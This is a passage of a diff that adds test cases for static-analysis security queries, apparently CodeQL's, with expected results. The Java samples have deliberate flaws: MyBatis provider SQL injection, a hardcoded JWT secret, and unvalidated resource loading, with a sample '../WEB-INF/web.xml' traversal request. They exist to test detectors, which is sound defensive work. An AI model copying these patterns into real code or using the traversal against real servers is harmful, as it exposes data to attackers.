+| MybatisSqlInjectionService.java:51:27:51:33 | hashMap | MybatisSqlInjection.java:62:19:62:43 | name : String | MybatisSqlInjectionService.java:51:27:51:33 | hashMap | MyBatis annotation SQL injection might include code from $@ to $@. | MybatisSqlInjection.java:62:19:62:43 | name | this user input | SqlInjectionMapper.java:33:2:33:54 | Select | this SQL operation |
diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisProvider.java b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisProvider.java
new file mode 100644
index 00000000000..e1eceae4f71
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisProvider.java
@@ -0,0 +1,35 @@
+import org.apache.ibatis.annotations.Param;
+import org.apache.ibatis.jdbc.SQL;
+
+public class MyBatisProvider {
+    public String badSelect(@Param("input") final String input) {
+        String s = (new SQL() {
+            {
+                this.SELECT("password");
+                this.FROM("users");
+                this.WHERE("username = '" + input + "'");
+            }
+        }).toString();
+        return s;
+    }
+
+    public String badDelete(@Param("input") final String input) {
+        return "DELETE FROM users WHERE username = '" + input + "';";
+    }
+
+    public String badUpdate(@Param("input") final String input) {
+        String s = (new SQL() {
+            {
+                this.UPDATE("users");
+                this.SET("balance = 0");
+                this.WHERE("username = '" + input + "'");
+            }
+        }).toString();
+        return s;
+    }
+
+    public String badInsert(@Param("input") final String input) {
+        return "INSERT INTO users VALUES (1, '" + input + "', 'hunter2');";
+    }
+}
+
diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java
index 9f37e2eaa15..624f27ad81d 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java
+++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java
@@ -68,4 +68,25 @@ public class MybatisSqlInjection {
 		List<Test> result = mybatisSqlInjectionService.good1(id);
 		return result;
 	}
+
+	// using providers
+	@GetMapping(value = "badSelect")
+	public String badSelect(@RequestParam String name) {
+		return mybatisSqlInjectionService.badSelect(name);
+	}
+
+	@GetMapping(value = "badDelete")
+	public void badDelete(@RequestParam String name) {
+		mybatisSqlInjectionService.badDelete(name);
+	}
+	
+	@GetMapping(value = "badUpdate")
+	public void badUpdate(@RequestParam String name) {
+		mybatisSqlInjectionService.badUpdate(name);
+	}
+
+	@GetMapping(value = "badInsert")
+	public void badInsert(@RequestParam String name) {
+		mybatisSqlInjectionService.badInsert(name);
+	}
 }
diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java
index 88ae4581ce0..89dbd599d71 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java
+++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java
@@ -55,4 +55,21 @@ public class MybatisSqlInjectionService {
 		List<Test> result = sqlInjectionMapper.good1(id);
 		return result;
 	}
+
+	// using providers
+	public String badSelect(String input) {
+		return sqlInjectionMapper.badSelect(input);
+	}
+
+	public void badDelete(String input) {
+		sqlInjectionMapper.badDelete(input);
+	}
+
+	public void badUpdate(String input) {
+		sqlInjectionMapper.badUpdate(input);
+	}
+
+	public void badInsert(String input) {
+		sqlInjectionMapper.badInsert(input);
+	}
 }
diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/SqlInjectionMapper.java b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/SqlInjectionMapper.java
index 7823bdc78a1..5b159817297 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/SqlInjectionMapper.java
+++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/SqlInjectionMapper.java
@@ -5,6 +5,10 @@ import org.apache.ibatis.annotations.Mapper;
 import org.apache.ibatis.annotations.Param;
 import org.springframework.stereotype.Repository;
 import org.apache.ibatis.annotations.Select;
+import org.apache.ibatis.annotations.SelectProvider;
+import org.apache.ibatis.annotations.DeleteProvider;
+import org.apache.ibatis.annotations.UpdateProvider;
+import org.apache.ibatis.annotations.InsertProvider;
 
 @Mapper
 @Repository
@@ -30,4 +34,29 @@ public interface SqlInjectionMapper {
 	public Test bad9(HashMap<String, Object> map);
 
 	List<Test> good1(Integer id);
+
+	//using providers
+	@SelectProvider(
+		type = MyBatisProvider.class,
+		method = "badSelect"
+	)
+	String badSelect(String input);
+
+	@DeleteProvider(
+		type = MyBatisProvider.class,
+		method = "badDelete"
+	)
+	void badDelete(String input);
+
+	@UpdateProvider(
+		type = MyBatisProvider.class,
+		method = "badUpdate"
+	)
+	void badUpdate(String input);
+
+	@InsertProvider(
+		type = MyBatisProvider.class,
+		method = "badInsert"
+	)
+	void badInsert(String input);
 }
diff --git a/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.expected b/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.expected
new file mode 100644
index 00000000000..15e882db4cd
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.expected
@@ -0,0 +1,25 @@
+edges
+| HardcodedJwtKey.java:15:33:15:38 | SECRET : String | HardcodedJwtKey.java:19:49:19:54 | SECRET : String |
+| HardcodedJwtKey.java:15:33:15:38 | SECRET : String | HardcodedJwtKey.java:42:62:42:67 | SECRET : String |
+| HardcodedJwtKey.java:15:42:15:59 | "hardcoded_secret" : String | HardcodedJwtKey.java:15:33:15:38 | SECRET : String |
+| HardcodedJwtKey.java:19:49:19:54 | SECRET : String | HardcodedJwtKey.java:25:23:25:31 | algorithm |
+| HardcodedJwtKey.java:42:32:42:69 | require(...) : Verification | HardcodedJwtKey.java:42:32:43:35 | withIssuer(...) : Verification |
+| HardcodedJwtKey.java:42:32:43:35 | withIssuer(...) : Verification | HardcodedJwtKey.java:42:32:44:24 | build(...) : JWTVerifier |
+| HardcodedJwtKey.java:42:32:44:24 | build(...) : JWTVerifier | HardcodedJwtKey.java:46:13:46:20 | verifier |
+| HardcodedJwtKey.java:42:62:42:67 | SECRET : String | HardcodedJwtKey.java:42:32:42:69 | require(...) : Verification |
+nodes
+| HardcodedJwtKey.java:15:33:15:38 | SECRET : String | semmle.label | SECRET : String |
+| HardcodedJwtKey.java:15:42:15:59 | "hardcoded_secret" : String | semmle.label | "hardcoded_secret" : String |
+| HardcodedJwtKey.java:19:49:19:54 | SECRET : String | semmle.label | SECRET : String |
+| HardcodedJwtKey.java:25:23:25:31 | algorithm | semmle.label | algorithm |
+| HardcodedJwtKey.java:42:32:42:69 | require(...) : Verification | semmle.label | require(...) : Verification |
+| HardcodedJwtKey.java:42:32:43:35 | withIssuer(...) : Verification | semmle.label | withIssuer(...) : Verification |
+| HardcodedJwtKey.java:42:32:44:24 | build(...) : JWTVerifier | semmle.label | build(...) : JWTVerifier |
+| HardcodedJwtKey.java:42:62:42:67 | SECRET : String | semmle.label | SECRET : String |
+| HardcodedJwtKey.java:46:13:46:20 | verifier | semmle.label | verifier |
+subpaths
+#select
+| HardcodedJwtKey.java:25:23:25:31 | algorithm | HardcodedJwtKey.java:15:42:15:59 | "hardcoded_secret" : String | HardcodedJwtKey.java:25:23:25:31 | algorithm | $@ is used to sign a JWT token. | HardcodedJwtKey.java:15:42:15:59 | "hardcoded_secret" | Hardcoded String |
+| HardcodedJwtKey.java:25:23:25:31 | algorithm | HardcodedJwtKey.java:19:49:19:54 | SECRET : String | HardcodedJwtKey.java:25:23:25:31 | algorithm | $@ is used to sign a JWT token. | HardcodedJwtKey.java:19:49:19:54 | SECRET | Hardcoded String |
+| HardcodedJwtKey.java:46:13:46:20 | verifier | HardcodedJwtKey.java:15:42:15:59 | "hardcoded_secret" : String | HardcodedJwtKey.java:46:13:46:20 | verifier | $@ is used to sign a JWT token. | HardcodedJwtKey.java:15:42:15:59 | "hardcoded_secret" | Hardcoded String |
+| HardcodedJwtKey.java:46:13:46:20 | verifier | HardcodedJwtKey.java:42:62:42:67 | SECRET : String | HardcodedJwtKey.java:46:13:46:20 | verifier | $@ is used to sign a JWT token. | HardcodedJwtKey.java:42:62:42:67 | SECRET | Hardcoded String |
diff --git a/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.java b/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.java
new file mode 100644
index 00000000000..cfcb027755b
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.java
@@ -0,0 +1,65 @@
+import java.util.Date;
+import java.util.Properties;
+
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import com.auth0.jwt.interfaces.JWTVerifier;
+
+public class HardcodedJwtKey {
+    // 15 minutes
+    private static final long ACCESS_EXPIRE_TIME = 1000 * 60 * 15;
+
+    private static final String ISSUER = "example_com";
+
+    private static final String SECRET = "hardcoded_secret";
+
+    // BAD: Get secret from hardcoded string then sign a JWT token
+    public String accessTokenBad(String username) {
+        Algorithm algorithm = Algorithm.HMAC256(SECRET);
+
+        return JWT.create()
+                .withExpiresAt(new Date(new Date().getTime() + ACCESS_EXPIRE_TIME))
+                .withIssuer(ISSUER)
+                .withClaim("username", username)
+                .sign(algorithm);
+    }
+
+    // GOOD: Get secret from system configuration then sign a token
+    public String accessTokenGood(String username) {
+        String tokenSecret = System.getenv("SECRET_KEY");
+        Algorithm algorithm = Algorithm.HMAC256(tokenSecret);
+
+        return JWT.create()
+                .withExpiresAt(new Date(new Date().getTime() + ACCESS_EXPIRE_TIME))
+                .withIssuer(ISSUER)
+                .withClaim("username", username)
+                .sign(algorithm);
+    }
+
+    // BAD: Get secret from hardcoded string then verify a JWT token
+    public boolean verifyTokenBad(String token) {
+        JWTVerifier verifier = JWT.require(Algorithm.HMAC256(SECRET))
+                .withIssuer(ISSUER)
+                .build();
+        try {
+            verifier.verify(token);
+            return true;
+        } catch (JWTVerificationException e) {
+            return false;
+        }
+    }
+
+    // GOOD: Get secret from environment variable then verify a JWT token
+    public boolean verifyTokenGood(String token) {
+        JWTVerifier verifier = JWT.require(Algorithm.HMAC256(System.getenv("SECRET_KEY")))
+                .withIssuer(ISSUER)
+                .build();
+        try {
+            verifier.verify(token);
+            return true;
+        } catch (JWTVerificationException e) {
+            return false;
+        }
+    }
+}
diff --git a/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.qlref b/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.qlref
new file mode 100644
index 00000000000..3da970cd380
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-321/HardcodedJwtKey.qlref
@@ -0,0 +1 @@
+experimental/Security/CWE/CWE-321/HardcodedJwtKey.ql
\ No newline at end of file
diff --git a/java/ql/test/experimental/query-tests/security/CWE-321/options b/java/ql/test/experimental/query-tests/security/CWE-321/options
new file mode 100644
index 00000000000..ab6ca411a02
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-321/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/auth0-jwt-2.3
diff --git a/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeResourceGet.java b/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeResourceGet.java
new file mode 100644
index 00000000000..64c23334f18
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeResourceGet.java
@@ -0,0 +1,270 @@
+package com.example;
+
+import java.io.InputStream;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.net.URI;
+import java.net.URL;
+import java.net.URISyntaxException;
+
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletException;
+import javax.servlet.ServletConfig;
+import javax.servlet.ServletContext;
+
+import io.undertow.server.handlers.resource.FileResourceManager;
+import io.undertow.server.handlers.resource.Resource;
+import org.jboss.vfs.VFS;
+import org.jboss.vfs.VirtualFile;
+
+public class UnsafeResourceGet extends HttpServlet {
+	private static final String BASE_PATH = "/pages";
+
+	@Override
+	// BAD: getResource constructed from `ServletContext` without input validation
+	protected void doGet(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		ServletOutputStream out = response.getOutputStream();
+
+		ServletConfig cfg = getServletConfig();
+		ServletContext sc = cfg.getServletContext();
+
+		// A sample request /fake.jsp/../WEB-INF/web.xml can load the web.xml file
+		URL url = sc.getResource(requestUrl);
+
+		InputStream in = url.openStream();
+		byte[] buf = new byte[4 * 1024];  // 4K buffer
+		int bytesRead;
+		while ((bytesRead = in.read(buf)) != -1) {
+			out.write(buf, 0, bytesRead);
+		}
+	}
+
+	// GOOD: getResource constructed from `ServletContext` with input validation
+	protected void doGetGood(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		ServletOutputStream out = response.getOutputStream();
+
+		ServletConfig cfg = getServletConfig();
+		ServletContext sc = cfg.getServletContext();
+
+		Path path = Paths.get(requestUrl).normalize().toRealPath();
+		if (path.startsWith(BASE_PATH)) {
+			URL url = sc.getResource(path.toString());
+
+			InputStream in = url.openStream();
+			byte[] buf = new byte[4 * 1024];  // 4K buffer
+			int bytesRead;
+			while ((bytesRead = in.read(buf)) != -1) {
+				out.write(buf, 0, bytesRead);
+			}
+		}
+	}
+
+	// GOOD: getResource constructed from `ServletContext` with null check only
+	protected void doGetGood2(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		PrintWriter writer = response.getWriter();
+
+		ServletConfig cfg = getServletConfig();
+		ServletContext sc = cfg.getServletContext();
+
+		// A sample request /fake.jsp/../WEB-INF/web.xml can load the web.xml file
+		URL url = sc.getResource(requestUrl);
+		if (url == null) {
+			writer.println("Requested source not found");
+		}
+	}
+
+	// GOOD: getResource constructed from `ServletContext` with `equals` check
+	protected void doGetGood3(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		ServletOutputStream out = response.getOutputStream();
+
+		ServletContext sc = request.getServletContext();
+
+		if (requestUrl.equals("/public/crossdomain.xml")) {
+			URL url = sc.getResource(requestUrl);
+
+			InputStream in = url.openStream();
+			byte[] buf = new byte[4 * 1024];  // 4K buffer
+			int bytesRead;
+			while ((bytesRead = in.read(buf)) != -1) {
+				out.write(buf, 0, bytesRead);
+			}
+		}
+	}
+
+	@Override
+	// BAD: getResourceAsStream constructed from `ServletContext` without input validation
+	protected void doPost(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestPath = request.getParameter("requestPath");
+		ServletOutputStream out = response.getOutputStream();
+
+		// A sample request /fake.jsp/../WEB-INF/web.xml can load the web.xml file
+		InputStream in = request.getServletContext().getResourceAsStream(requestPath);
+		byte[] buf = new byte[4 * 1024];  // 4K buffer
+		int bytesRead;
+		while ((bytesRead = in.read(buf)) != -1) {
+			out.write(buf, 0, bytesRead);
+		}
+	}
+
+	// GOOD: getResourceAsStream constructed from `ServletContext` with input validation
+	protected void doPostGood(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestPath = request.getParameter("requestPath");
+		ServletOutputStream out = response.getOutputStream();
+
+		if (!requestPath.contains("..") && requestPath.startsWith("/trusted")) {
+			InputStream in = request.getServletContext().getResourceAsStream(requestPath);
+			byte[] buf = new byte[4 * 1024];  // 4K buffer
+			int bytesRead;
+			while ((bytesRead = in.read(buf)) != -1) {
+				out.write(buf, 0, bytesRead);
+			}
+		}
+	}
+
+	@Override
+	// BAD: getResource constructed from `Class` without input validation
+	protected void doHead(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		ServletOutputStream out = response.getOutputStream();
+
+		// A sample request /fake.jsp/../../../WEB-INF/web.xml can load the web.xml file
+		// Note the class is in two levels of subpackages and `Class.getResource` starts from its own directory
+		URL url = getClass().getResource(requestUrl);
+
+		InputStream in = url.openStream();
+		byte[] buf = new byte[4 * 1024];  // 4K buffer
+		int bytesRead;
+		while ((bytesRead = in.read(buf)) != -1) {
+			out.write(buf, 0, bytesRead);
+		}
+	}
+
+	// GOOD: getResource constructed from `Class` with input validation
+	protected void doHeadGood(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		ServletOutputStream out = response.getOutputStream();
+
+		Path path = Paths.get(requestUrl).normalize().toRealPath();
+		if (path.startsWith(BASE_PATH)) {
+			URL url = getClass().getResource(path.toString());
+
+			InputStream in = url.openStream();
+			byte[] buf = new byte[4 * 1024];  // 4K buffer
+			int bytesRead;
+			while ((bytesRead = in.read(buf)) != -1) {
+				out.write(buf, 0, bytesRead);
+			}
+		}
+	}
+
+	@Override
+	// BAD: getResourceAsStream constructed from `ClassLoader` without input validation
+	protected void doPut(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestPath = request.getParameter("requestPath");
+		ServletOutputStream out = response.getOutputStream();
+
+		ServletConfig cfg = getServletConfig();
+		ServletContext sc = cfg.getServletContext();
+
+		// A sample request /fake.jsp/../../../WEB-INF/web.xml can load the web.xml file
+		// Note the class is in two levels of subpackages and `ClassLoader.getResourceAsStream` starts from its own directory
+		InputStream in = getClass().getClassLoader().getResourceAsStream(requestPath);
+		byte[] buf = new byte[4 * 1024];  // 4K buffer
+		int bytesRead;
+		while ((bytesRead = in.read(buf)) != -1) {
+			out.write(buf, 0, bytesRead);
+		}
+	}
+
+	// GOOD: getResourceAsStream constructed from `ClassLoader` with input validation
+	protected void doPutGood(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestPath = request.getParameter("requestPath");
+		ServletOutputStream out = response.getOutputStream();
+
+		ServletConfig cfg = getServletConfig();
+		ServletContext sc = cfg.getServletContext();
+
+		if (!requestPath.contains("..") && requestPath.startsWith("/trusted")) {
+			InputStream in = getClass().getClassLoader().getResourceAsStream(requestPath);
+			byte[] buf = new byte[4 * 1024];  // 4K buffer
+			int bytesRead;
+			while ((bytesRead = in.read(buf)) != -1) {
+				out.write(buf, 0, bytesRead);
+			}
+		}
+	}
+
+	// BAD: getResource constructed from `ClassLoader` without input validation
+	protected void doPutBad(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestUrl = request.getParameter("requestURL");
+		ServletOutputStream out = response.getOutputStream();
+
+		// A sample request /fake.jsp/../../../WEB-INF/web.xml can load the web.xml file
+		// Note the class is in two levels of subpackages and `ClassLoader.getResource` starts from its own directory
+		URL url = getClass().getClassLoader().getResource(requestUrl);
+
+		InputStream in = url.openStream();
+		byte[] buf = new byte[4 * 1024];  // 4K buffer
+		int bytesRead;
+		while ((bytesRead = in.read(buf)) != -1) {
+			out.write(buf, 0, bytesRead);
+		}
+	}
+
+	// BAD: getResource constructed using Undertow IO without input validation
+	protected void doPutBad2(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestPath = request.getParameter("requestPath");
+
+		try {
+			FileResourceManager rm = new FileResourceManager(VFS.getChild(new URI("/usr/share")).getPhysicalFile());
+			Resource rs = rm.getResource(requestPath);
+
+			VirtualFile overlay = VFS.getChild(new URI("EAP_HOME/modules/"));
+			// Do file operations
+			overlay.getChild(rs.getPath());
+		} catch (URISyntaxException ue) {
+			throw new IOException("Cannot parse the URI");
+		}
+	}
+
+	// GOOD: getResource constructed using Undertow IO with input validation
+	protected void doPutGood2(HttpServletRequest request, HttpServletResponse response)
+			throws ServletException, IOException {
+		String requestPath = request.getParameter("requestPath");
+
+		try {
+			FileResourceManager rm = new FileResourceManager(VFS.getChild(new URI("/usr/share")).getPhysicalFile());
+			Resource rs = rm.getResource(requestPath);
+
+			VirtualFile overlay = VFS.getChild(new URI("EAP_HOME/modules/"));
+			String path = rs.getPath();
+			if (path.startsWith("/trusted_path") && !path.contains("..")) {
+				// Do file operations
+				overlay.getChild(path);
+			}
+		} catch (URISyntaxException ue) {
+			throw new IOException("Cannot parse the URI");
+		}
+	}
+}
diff --git a/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeResourceGet2.java b/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeResourceGet2.java
new file mode 100644
index 00000000000..b3d041d024c
--- /dev/null
+++ b/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeResourceGet2.java
@@ -0,0 +1,58 @@
+package com.example;
+
+import javax.faces.context.FacesContext;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.net.URL;
+import java.util.Map;
+
+/** Sample class of JSF managed bean */
+public class UnsafeResourceGet2 {
+	// BAD: getResourceAsStream constructed from `ExternalContext` without input validation
+	public String parameterActionBad1() throws IOException {
+		FacesContext fc = FacesContext.getCurrentInstance();
+		Map<String, String> params = fc.getExternalContext().getRequestParameterMap();
+		String loadUrl = params.get("loadUrl");
+
+		InputStreamReader isr = new InputStreamReader(fc.getExternalContext().getResourceAsStream(loadUrl));
+		BufferedReader br = new BufferedReader(isr);
+		if(br.ready()) {
+			//Do Stuff
+			return "result";
+		}
+
+		return "home";
+	}
+
+	// BAD: getResource constructed from `ExternalContext` without input validation
+	public String parameterActionBad2() throws IOException {
+		FacesContext fc = FacesContext.getCurrentInstance();
+		Map<String, String> params = fc.getExternalContext().getRequestParameterMap();
+		String loadUrl = params.get("loadUrl");
+
+		URL url = fc.getExternalContext().getResource(loadUrl);
+
+		InputStream in = url.openStream();
+		//Do Stuff
+		return "result";
+	}
+
+	// GOOD: getResource constructed from `ExternalContext` with input validation
+	public String parameterActionGood1() throws IOException {
+		FacesContext fc = FacesContext.getCurrentInstance();
+		Map<String, String> params = fc.getExternalContext().getRequestParameterMap();
+		String loadUrl = params.get("loadUrl");
+
+		if (loadUrl.equals("/public/crossdomain.xml")) {
+			URL url = fc.getExternalContext().getResource(loadUrl);
+
+			InputStream in = url.openStream();
+			//Do Stuff
+			return "result";
+		}
+
+		return "home";
+	}
+}
diff --git a/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeUrlForward.expected b/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeUrlForward.expected
index 185508dfc57..179d2b37265 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeUrlForward.expected
+++ b/java/ql/test/experimental/query-tests/security/CWE-552/UnsafeUrlForward.expected
@@ -1,5 +1,18 @@
 edges
 | UnsafeRequestPath.java:20:17:20:63 | getServletPath(...) : String | UnsafeRequestPath.java:23:33:23:36 | path |
+| UnsafeResourceGet2.java:16:32:16:79 | getRequestParameterMap(...) : Map | UnsafeResourceGet2.java:17:20:17:25 | params : Map |
+| UnsafeResourceGet2.java:17:20:17:25 | params : Map | UnsafeResourceGet2.java:17:20:17:40 | get(...) : Object |
+| UnsafeResourceGet2.java:17:20:17:40 | get(...) : Object | UnsafeResourceGet2.java:19:93:19:99 | loadUrl |
+| UnsafeResourceGet2.java:32:32:32:79 | getRequestParameterMap(...) : Map | UnsafeResourceGet2.java:33:20:33:25 | params : Map |
+| UnsafeResourceGet2.java:33:20:33:25 | params : Map | UnsafeResourceGet2.java:33:20:33:40 | get(...) : Object |
+| UnsafeResourceGet2.java:33:20:33:40 | get(...) : Object | UnsafeResourceGet2.java:37:20:37:22 | url |
+| UnsafeResourceGet.java:32:23:32:56 | getParameter(...) : String | UnsafeResourceGet.java:41:20:41:22 | url |
+| UnsafeResourceGet.java:111:24:111:58 | getParameter(...) : String | UnsafeResourceGet.java:115:68:115:78 | requestPath |
+| UnsafeResourceGet.java:143:23:143:56 | getParameter(...) : String | UnsafeResourceGet.java:150:20:150:22 | url |
+| UnsafeResourceGet.java:181:24:181:58 | getParameter(...) : String | UnsafeResourceGet.java:189:68:189:78 | requestPath |
+| UnsafeResourceGet.java:219:23:219:56 | getParameter(...) : String | UnsafeResourceGet.java:226:20:226:22 | url |
+| UnsafeResourceGet.java:237:24:237:58 | getParameter(...) : String | UnsafeResourceGet.java:245:21:245:22 | rs : Resource |
+| UnsafeResourceGet.java:245:21:245:22 | rs : Resource | UnsafeResourceGet.java:245:21:245:32 | getPath(...) |
 | UnsafeServletRequestDispatch.java:23:22:23:54 | getParameter(...) : String | UnsafeServletRequestDispatch.java:32:51:32:59 | returnURL |
 | UnsafeServletRequestDispatch.java:42:22:42:54 | getParameter(...) : String | UnsafeServletRequestDispatch.java:48:56:48:64 | returnURL |
 | UnsafeServletRequestDispatch.java:71:17:71:44 | getParameter(...) : String | UnsafeServletRequestDispatch.java:76:53:76:56 | path |
@@ -19,6 +32,27 @@ edges
 nodes
 | UnsafeRequestPath.java:20:17:20:63 | getServletPath(...) : String | semmle.label | getServletPath(...) : String |
 | UnsafeRequestPath.java:23:33:23:36 | path | semmle.label | path |
+| UnsafeResourceGet2.java:16:32:16:79 | getRequestParameterMap(...) : Map | semmle.label | getRequestParameterMap(...) : Map |
+| UnsafeResourceGet2.java:17:20:17:25 | params : Map | semmle.label | params : Map |
+| UnsafeResourceGet2.java:17:20:17:40 | get(...) : Object | semmle.label | get(...) : Object |
+| UnsafeResourceGet2.java:19:93:19:99 | loadUrl | semmle.label | loadUrl |
+| UnsafeResourceGet2.java:32:32:32:79 | getRequestParameterMap(...) : Map | semmle.label | getRequestParameterMap(...) : Map |
+| UnsafeResourceGet2.java:33:20:33:25 | params : Map | semmle.label | params : Map |
+| UnsafeResourceGet2.java:33:20:33:40 | get(...) : Object | semmle.label | get(...) : Object |
+| UnsafeResourceGet2.java:37:20:37:22 | url | semmle.label | url |
+| UnsafeResourceGet.java:32:23:32:56 | getParameter(...) : String | semmle.label | getParameter(...) : String |
+| UnsafeResourceGet.java:41:20:41:22 | url | semmle.label | url |
+| UnsafeResourceGet.java:111:24:111:58 | getParameter(...) : String | semmle.label | getParameter(...) : String |
+| UnsafeResourceGet.java:115:68:115:78 | requestPath | semmle.label | requestPath |
+| UnsafeResourceGet.java:143:23:143:56 | getParameter(...) : String | semmle.label | getParameter(...) : String |
+| UnsafeResourceGet.java:150:20:150:22 | url | semmle.label | url |
+| UnsafeResourceGet.java:181:24:181:58 | getParameter(...) : String | semmle.label | getParameter(...) : String |
+| UnsafeResourceGet.java:189:68:189:78 | requestPath | semmle.label | requestPath |
+| UnsafeResourceGet.java:219:23:219:56 | getParameter(...) : String | semmle.label | getParameter(...) : String |
+| UnsafeResourceGet.java:226:20:226:22 | url | semmle.label | url |
+| UnsafeResourceGet.java:237:24:237:58 | getParameter(...) : String | semmle.label | getParameter(...) : String |
+| UnsafeResourceGet.java:245:21:245:22 | rs : Resource | semmle.label | rs : Resource |
+| UnsafeResourceGet.java:245:21:245:32 | getPath(...) | semmle.label | getPath(...) |
 | UnsafeServletRequestDispatch.java:23:22:23:54 | getParameter(...) : String | semmle.label | getParameter(...) : String |
 | UnsafeServletRequestDispatch.java:32:51:32:59 | returnURL | semmle.label | returnURL |
 | UnsafeServletRequestDispatch.java:42:22:42:54 | getParameter(...) : String | semmle.label | getParameter(...) : String |
@@ -49,6 +83,14 @@ nodes
 subpaths
 #select
 | UnsafeRequestPath.java:23:33:23:36 | path | UnsafeRequestPath.java:20:17:20:63 | getServletPath(...) : String | UnsafeRequestPath.java:23:33:23:36 | path | Potentially untrusted URL forward due to $@. | UnsafeRequestPath.java:20:17:20:63 | getServletPath(...) | user-provided value |
+| UnsafeResourceGet2.java:19:93:19:99 | loadUrl | UnsafeResourceGet2.java:16:32:16:79 | getRequestParameterMap(...) : Map | UnsafeResourceGet2.java:19:93:19:99 | loadUrl | Potentially untrusted URL forward due to $@. | UnsafeResourceGet2.java:16:32:16:79 | getRequestParameterMap(...) | user-provided value |
+| UnsafeResourceGet2.java:37:20:37:22 | url | UnsafeResourceGet2.java:32:32:32:79 | getRequestParameterMap(...) : Map | UnsafeResourceGet2.java:37:20:37:22 | url | Potentially untrusted URL forward due to $@. | UnsafeResourceGet2.java:32:32:32:79 | getRequestParameterMap(...) | user-provided value |
+| UnsafeResourceGet.java:41:20:41:22 | url | UnsafeResourceGet.java:32:23:32:56 | getParameter(...) : String | UnsafeResourceGet.java:41:20:41:22 | url | Potentially untrusted URL forward due to $@. | UnsafeResourceGet.java:32:23:32:56 | getParameter(...) | user-provided value |
+| UnsafeResourceGet.java:115:68:115:78 | requestPath | UnsafeResourceGet.java:111:24:111:58 | getParameter(...) : String | UnsafeResourceGet.java:115:68:115:78 | requestPath | Potentially untrusted URL forward due to $@. | UnsafeResourceGet.java:111:24:111:58 | getParameter(...) | user-provided value |
+| UnsafeResourceGet.java:150:20:150:22 | url | UnsafeResourceGet.java:143:23:143:56 | getParameter(...) : String | UnsafeResourceGet.java:150:20:150:22 | url | Potentially untrusted URL forward due to $@. | UnsafeResourceGet.java:143:23:143:56 | getParameter(...) | user-provided value |
+| UnsafeResourceGet.java:189:68:189:78 | requestPath | UnsafeResourceGet.java:181:24:181:58 | getParameter(...) : String | UnsafeResourceGet.java:189:68:189:78 | requestPath | Potentially untrusted URL forward due to $@. | UnsafeResourceGet.java:181:24:181:58 | getParameter(...) | user-provided value |
+| UnsafeResourceGet.java:226:20:226:22 | url | UnsafeResourceGet.java:219:23:219:56 | getParameter(...) : String | UnsafeResourceGet.java:226:20:226:22 | url | Potentially untrusted URL forward due to $@. | UnsafeResourceGet.java:219:23:219:56 | getParameter(...) | user-provided value |
